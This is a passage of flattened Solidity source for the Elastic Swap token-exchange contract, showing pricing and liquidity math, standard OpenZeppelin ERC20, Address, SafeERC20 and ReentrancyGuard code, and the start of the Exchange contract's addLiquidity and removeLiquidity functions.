* @param _baseTokenQtyMin the minimum amount of base token the user wants to contribute (allows for slippage)
* @param _quoteTokenQtyMin the minimum amount of quote token the user wants to contribute (allows for slippage)
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
* @return baseTokenQty qty of base token the user must supply
* @return quoteTokenQty qty of quote token the user must supply
* @return liquidityTokenQty qty of liquidity tokens to be issued in exchange
*/
function calculateAddTokenPairLiquidityQuantities(
uint256 _baseTokenQtyDesired,
uint256 _quoteTokenQtyDesired,
uint256 _baseTokenQtyMin,
uint256 _quoteTokenQtyMin,
uint256 _totalSupplyOfLiquidityTokens,
InternalBalances storage _internalBalances
)
public
returns (
uint256 baseTokenQty,
uint256 quoteTokenQty,
uint256 liquidityTokenQty
)
{
uint256 requiredQuoteTokenQty =
calculateQty(
_baseTokenQtyDesired,
_internalBalances.baseTokenReserveQty,
_internalBalances.quoteTokenReserveQty
);
if (requiredQuoteTokenQty <= _quoteTokenQtyDesired) {
// user has to provide less than their desired amount
require(
requiredQuoteTokenQty >= _quoteTokenQtyMin,
"MathLib: INSUFFICIENT_QUOTE_QTY"
);
baseTokenQty = _baseTokenQtyDesired;
quoteTokenQty = requiredQuoteTokenQty;
} else {
// we need to check the opposite way.
uint256 requiredBaseTokenQty =
calculateQty(
_quoteTokenQtyDesired,
_internalBalances.quoteTokenReserveQty,
_internalBalances.baseTokenReserveQty
);
require(
requiredBaseTokenQty >= _baseTokenQtyMin,
"MathLib: INSUFFICIENT_BASE_QTY"
);
baseTokenQty = requiredBaseTokenQty;
quoteTokenQty = _quoteTokenQtyDesired;
}
liquidityTokenQty = calculateLiquidityTokenQtyForDoubleAssetEntry(
_totalSupplyOfLiquidityTokens,
quoteTokenQty,
_internalBalances.quoteTokenReserveQty
);
_internalBalances.baseTokenReserveQty += baseTokenQty;
_internalBalances.quoteTokenReserveQty += quoteTokenQty;
}
/**
* @dev calculates the qty of base tokens a user will receive for swapping their quote tokens (less fees)
* @param _quoteTokenQty the amount of quote tokens the user wants to swap
* @param _baseTokenQtyMin the minimum about of base tokens they are willing to receive in return (slippage)
* @param _baseTokenReserveQty the external base token reserve qty prior to this transaction
* @param _liquidityFeeInBasisPoints the current total liquidity fee represented as an integer of basis points
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
* @return baseTokenQty qty of base token the user will receive back
*/
function calculateBaseTokenQty(
uint256 _quoteTokenQty,
uint256 _baseTokenQtyMin,
uint256 _baseTokenReserveQty,
uint256 _liquidityFeeInBasisPoints,
InternalBalances storage _internalBalances
) public returns (uint256 baseTokenQty) {
require(
_baseTokenReserveQty != 0 &&
_internalBalances.baseTokenReserveQty != 0,
"MathLib: INSUFFICIENT_BASE_TOKEN_QTY"
);
// check to see if we have experience quote token decay / a rebase down event
if (_baseTokenReserveQty < _internalBalances.baseTokenReserveQty) {
// we have less reserves than our current price curve will expect, we need to adjust the curve
uint256 wPricingRatio =
wDiv(
_internalBalances.baseTokenReserveQty,
_internalBalances.quoteTokenReserveQty
); // omega
uint256 impliedQuoteTokenQty =
wDiv(_baseTokenReserveQty, wPricingRatio); // no need to divide by WAD, wPricingRatio is already a WAD.
baseTokenQty = calculateQtyToReturnAfterFees(
_quoteTokenQty,
impliedQuoteTokenQty,
_baseTokenReserveQty, // use the actual balance here since we adjusted the quote token to match ratio!
_liquidityFeeInBasisPoints
);
} else {
// we have the same or more reserves, no need to alter the curve.
baseTokenQty = calculateQtyToReturnAfterFees(
_quoteTokenQty,
_internalBalances.quoteTokenReserveQty,
_internalBalances.baseTokenReserveQty,
_liquidityFeeInBasisPoints
);
}
require(
baseTokenQty >= _baseTokenQtyMin,
"MathLib: INSUFFICIENT_BASE_TOKEN_QTY"
);
_internalBalances.baseTokenReserveQty -= baseTokenQty;
_internalBalances.quoteTokenReserveQty += _quoteTokenQty;
}
/**
* @dev calculates the qty of quote tokens a user will receive for swapping their base tokens (less fees)
* @param _baseTokenQty the amount of bases tokens the user wants to swap
* @param _quoteTokenQtyMin the minimum about of quote tokens they are willing to receive in return (slippage)
* @param _liquidityFeeInBasisPoints the current total liquidity fee represented as an integer of basis points
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
* @return quoteTokenQty qty of quote token the user will receive back
*/
function calculateQuoteTokenQty(
uint256 _baseTokenQty,
uint256 _quoteTokenQtyMin,
uint256 _liquidityFeeInBasisPoints,
InternalBalances storage _internalBalances
) public returns (uint256 quoteTokenQty) {
require(
_baseTokenQty != 0 && _quoteTokenQtyMin != 0,
"MathLib: INSUFFICIENT_TOKEN_QTY"
);
quoteTokenQty = calculateQtyToReturnAfterFees(
_baseTokenQty,
_internalBalances.baseTokenReserveQty,
_internalBalances.quoteTokenReserveQty,
_liquidityFeeInBasisPoints
);
require(
quoteTokenQty >= _quoteTokenQtyMin,
"MathLib: INSUFFICIENT_QUOTE_TOKEN_QTY"
);
_internalBalances.baseTokenReserveQty += _baseTokenQty;
_internalBalances.quoteTokenReserveQty -= quoteTokenQty;
}
/**
* @dev calculates the qty of liquidity tokens that should be sent to the DAO due to the growth in K from trading.
* The DAO takes 1/6 of the total fees (30BP total fee, 25 BP to lps and 5 BP to the DAO)
* @param _totalSupplyOfLiquidityTokens the total supply of our exchange's liquidity tokens (aka Ro)
* @param _internalBalances internal balances struct from our exchange's internal accounting
*
* @return liquidityTokenFeeQty qty of tokens to be minted to the fee address for the growth in K
*/
function calculateLiquidityTokenFees(
uint256 _totalSupplyOfLiquidityTokens,
InternalBalances memory _internalBalances
) public pure returns (uint256 liquidityTokenFeeQty) {
uint256 rootK =
sqrt(
_internalBalances.baseTokenReserveQty *
_internalBalances.quoteTokenReserveQty
);
uint256 rootKLast = sqrt(_internalBalances.kLast);
if (rootK > rootKLast) {
uint256 numerator =
_totalSupplyOfLiquidityTokens * (rootK - rootKLast);
uint256 denominator = (rootK * 5) + rootKLast;
liquidityTokenFeeQty = numerator / denominator;
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface IExchangeFactory {
function feeAddress() external view returns (address);
}
/**
* @title Exchange contract for Elastic Swap representing a single ERC20 pair of tokens to be swapped.
* @author Elastic DAO
* @notice This contract provides all of the needed functionality for a liquidity provider to supply/withdraw ERC20
* tokens and traders to swap tokens for one another.
*/
contract Exchange is ERC20, ReentrancyGuard {
using MathLib for uint256;
using SafeERC20 for IERC20;
address public immutable baseToken; // address of ERC20 base token (elastic or fixed supply)
address public immutable quoteToken; // address of ERC20 quote token (WETH or a stable coin w/ fixed supply)
address public immutable exchangeFactoryAddress;
uint256 public constant TOTAL_LIQUIDITY_FEE = 30; // fee provided to liquidity providers + DAO in basis points
uint256 public constant MINIMUM_LIQUIDITY = 1e3;
MathLib.InternalBalances public internalBalances;
event AddLiquidity(
address indexed liquidityProvider,
uint256 baseTokenQtyAdded,
uint256 quoteTokenQtyAdded
);
event RemoveLiquidity(
address indexed liquidityProvider,
uint256 baseTokenQtyRemoved,
uint256 quoteTokenQtyRemoved
);
event Swap(
address indexed sender,
uint256 baseTokenQtyIn,
uint256 quoteTokenQtyIn,
uint256 baseTokenQtyOut,
uint256 quoteTokenQtyOut
);
/**
* @dev Called to check timestamps from users for expiration of their calls.
*/
modifier isNotExpired(uint256 _expirationTimeStamp) {
require(_expirationTimeStamp >= block.timestamp, "Exchange: EXPIRED");
_;
}
/**
* @notice called by the exchange factory to create a new erc20 token swap pair (do not call this directly!)
* @param _name The human readable name of this pair (also used for the liquidity token name)
* @param _symbol Shortened symbol for trading pair (also used for the liquidity token symbol)
* @param _baseToken address of the ERC20 base token in the pair. This token can have a fixed or elastic supply
* @param _quoteToken address of the ERC20 quote token in the pair. This token is assumed to have a fixed supply.
* @param _exchangeFactoryAddress address of the exchange factory
*/
constructor(
string memory _name,
string memory _symbol,
address _baseToken,
address _quoteToken,
address _exchangeFactoryAddress
) ERC20(_name, _symbol) {
baseToken = _baseToken;
quoteToken = _quoteToken;
exchangeFactoryAddress = _exchangeFactoryAddress;
}
/**
* @notice primary entry point for a liquidity provider to add new liquidity (base and quote tokens) to the exchange
* and receive liquidity tokens in return.
* Requires approvals to be granted to this exchange for both base and quote tokens.
* @param _baseTokenQtyDesired qty of baseTokens that you would like to add to the exchange
* @param _quoteTokenQtyDesired qty of quoteTokens that you would like to add to the exchange
* @param _baseTokenQtyMin minimum acceptable qty of baseTokens that will be added (or transaction will revert)
* @param _quoteTokenQtyMin minimum acceptable qty of quoteTokens that will be added (or transaction will revert)
* @param _liquidityTokenRecipient address for the exchange to issue the resulting liquidity tokens from
* this transaction to
* @param _expirationTimestamp timestamp that this transaction must occur before (or transaction will revert)
*/
function addLiquidity(
uint256 _baseTokenQtyDesired,
uint256 _quoteTokenQtyDesired,
uint256 _baseTokenQtyMin,
uint256 _quoteTokenQtyMin,
address _liquidityTokenRecipient,
uint256 _expirationTimestamp
) external nonReentrant() isNotExpired(_expirationTimestamp) {
uint256 totalSupply = this.totalSupply();
MathLib.TokenQtys memory tokenQtys =
MathLib.calculateAddLiquidityQuantities(
_baseTokenQtyDesired,
_quoteTokenQtyDesired,
_baseTokenQtyMin,
_quoteTokenQtyMin,
IERC20(baseToken).balanceOf(address(this)),
totalSupply,
internalBalances
);
internalBalances.kLast =
internalBalances.baseTokenReserveQty *
internalBalances.quoteTokenReserveQty;
if (tokenQtys.liquidityTokenFeeQty != 0) {
// mint liquidity tokens to fee address for k growth.
_mint(
IExchangeFactory(exchangeFactoryAddress).feeAddress(),
tokenQtys.liquidityTokenFeeQty
);
}
bool isExchangeEmpty = totalSupply == 0;
if (isExchangeEmpty) {
// check if this the first LP provider, if so, we need to lock some minimum dust liquidity.
require(
tokenQtys.liquidityTokenQty > MINIMUM_LIQUIDITY,
"Exchange: INITIAL_DEPOSIT_MIN"
);
unchecked {
tokenQtys.liquidityTokenQty -= MINIMUM_LIQUIDITY;
}
_mint(address(this), MINIMUM_LIQUIDITY); // mint to this address, total supply will never be 0 again
}
_mint(_liquidityTokenRecipient, tokenQtys.liquidityTokenQty); // mint liquidity tokens to recipient
if (tokenQtys.baseTokenQty != 0) {
// transfer base tokens to Exchange
IERC20(baseToken).safeTransferFrom(
msg.sender,
address(this),
tokenQtys.baseTokenQty
);
if (isExchangeEmpty) {
require(
IERC20(baseToken).balanceOf(address(this)) ==
tokenQtys.baseTokenQty,
"Exchange: FEE_ON_TRANSFER_NOT_SUPPORTED"
);
}
}
if (tokenQtys.quoteTokenQty != 0) {
// transfer quote tokens to Exchange
IERC20(quoteToken).safeTransferFrom(
msg.sender,
address(this),
tokenQtys.quoteTokenQty
);
}
emit AddLiquidity(
msg.sender,
tokenQtys.baseTokenQty,
tokenQtys.quoteTokenQty
);
}
/**
* @notice called by a liquidity provider to redeem liquidity tokens from the exchange and receive back
* base and quote tokens. Required approvals to be granted to this exchange for the liquidity token
* @param _liquidityTokenQty qty of liquidity tokens that you would like to redeem
* @param _baseTokenQtyMin minimum acceptable qty of base tokens to receive back (or transaction will revert)
* @param _quoteTokenQtyMin minimum acceptable qty of quote tokens to receive back (or transaction will revert)
* @param _tokenRecipient address for the exchange to issue the resulting base and
* quote tokens from this transaction to
* @param _expirationTimestamp timestamp that this transaction must occur before (or transaction will revert)
*/
function removeLiquidity(
uint256 _liquidityTokenQty,
uint256 _baseTokenQtyMin,
uint256 _quoteTokenQtyMin,
address _tokenRecipient,
uint256 _expirationTimestamp
) external nonReentrant() isNotExpired(_expirationTimestamp) {
require(this.totalSupply() != 0, "Exchange: INSUFFICIENT_LIQUIDITY");
require(
_baseTokenQtyMin != 0 && _quoteTokenQtyMin != 0,
"Exchange: MINS_MUST_BE_GREATER_THAN_ZERO"
);
uint256 baseTokenReserveQty =
IERC20(baseToken).balanceOf(address(this));
